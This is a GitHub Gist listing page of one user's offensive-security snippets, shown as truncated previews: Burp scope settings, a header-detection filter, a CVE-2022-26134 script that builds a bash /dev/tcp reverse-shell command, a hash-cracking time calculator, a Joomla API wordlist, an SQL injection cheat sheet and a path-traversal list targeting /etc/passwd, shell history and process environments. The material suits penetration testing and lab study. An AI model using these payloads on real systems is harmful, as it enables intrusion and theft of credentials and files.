Skip to content

Instantly share code, notes, and snippets.

@lisp3r
lisp3r / burp-target-scope-options.json
Created May 29, 2024 13:17 — forked from fyxme/burp-target-scope-options.json
Burp Target Scope Options file to exclude all irrelevant stuff
{
"target":{
"scope":{
"advanced_mode":true,
"exclude":[
{
"enabled":true,
"host":".*\\.google\\.com",
"protocol":"any"
},
1_0_2204_21
1_0_2914_0
1_0_3705_0
1_0_3705_209
1_0_3705_288
1_0_3705_6018
1_1_4322_510
1_1_4322_573
1_1_4322_2032
1_1_4322_2300
@lisp3r
lisp3r / find_uncommon_headers.java
Last active April 28, 2024 15:34
Detecting Uncommon Headers in an API using Burp Bambda Filters
// Source: https://danaepp.com/detecting-uncommon-headers
String[] standardHeaders = {
"accept-patch",
"accept-ranges",
"access-control-allow-credentials",
"access-control-allow-headers",
"access-control-allow-methods",
"access-control-allow-origin",
"access-control-expose-headers",
@lisp3r
lisp3r / CVE-2022-26134.py
Created February 6, 2024 19:57
CVE-2022-26134 rev shell
#!/usr/bin/python3
import os, sys, argparse, urllib.parse, socket, requests, time
def revshell(lhost, lport):
command = f'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
return compile_payload(command)
def get_target_url(rhost, rport):
@lisp3r
lisp3r / calc_cracking_time.py
Created January 19, 2024 08:17
Calculate the time of hash cracking
# Use the MD5 GPU hash rate from the GPU benchmark of this section
# and calculate the cracking time in minutes with the following conditions.
# Use a charset of all lower and upper case letters of the English alphabet
# and use a password length of 8. Enter the answer as full minutes without seconds.
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
passw_length = 8
# hashcat -b
hash_rate = 681851 * 100000 # hash rate for MD5 GPU from the benchmark
@lisp3r
lisp3r / int64_to_char_p.c
Created January 8, 2024 15:27
Convert int64_t to char* string
// 0x616a2f656d6f682f -> aj/emoh/ -> /home/ja
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
void int64_to_char(char mesg[], int64_t num) {
for(int i = 0; i < 8; i++)
@lisp3r
lisp3r / joomla_api_wordlist.txt
Last active January 4, 2024 22:04
Joomla API Wordlist
/api/index.php/v1/banners
# /api/index.php/v1/banners/{banner_id}
/api/index.php/v1/banners/clients
# /api/index.php/v1/banners/clients/{client_id}
/api/index.php/v1/banners/categories
# /api/index.php/v1/banners/categories/{category_id}
# /api/index.php/v1/banners/contenthistory/{banner_id}
/api/index.php/v1/config/application?public=true
# /api/index.php/v1/config/{component_name}
/api/index.php/v1/contact
@lisp3r
lisp3r / sqli_cheat_sheet.md
Created December 8, 2023 15:21
SQLi Cheat Sheet [WIP]

SQLi Cheat Sheet

MySQL

Column number in the table

SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'table_name';
\?filename=../../../../../../etc/passwd
\?filename=../../../../../../etc/hosts
\?filename=../../../../../../etc/my.cnf
\?filename=../../../../../../etc/crontab
\?filename=../../../../../../root/.bash_history
\?filename=../../../../../../proc/self/comm
\?filename=../../../../../../proc/self/cmdline
\?filename=../../../../../../proc/self/environ
\?filename=../../../../../../proc/sched_debug
\?filename=../../../../../../proc/mounts
import logging
class OwOFormatter(logging.Formatter):
def __init__(self):
super().__init__(fmt="%(levelno)d: %(msg)s", datefmt=None, style='%')
self.info_fmt = "[^w^] %(msg)s"
self.err_fmt = "[UwU] %(msg)s"
self.warn_fmt = "[OwO] %(msg)s"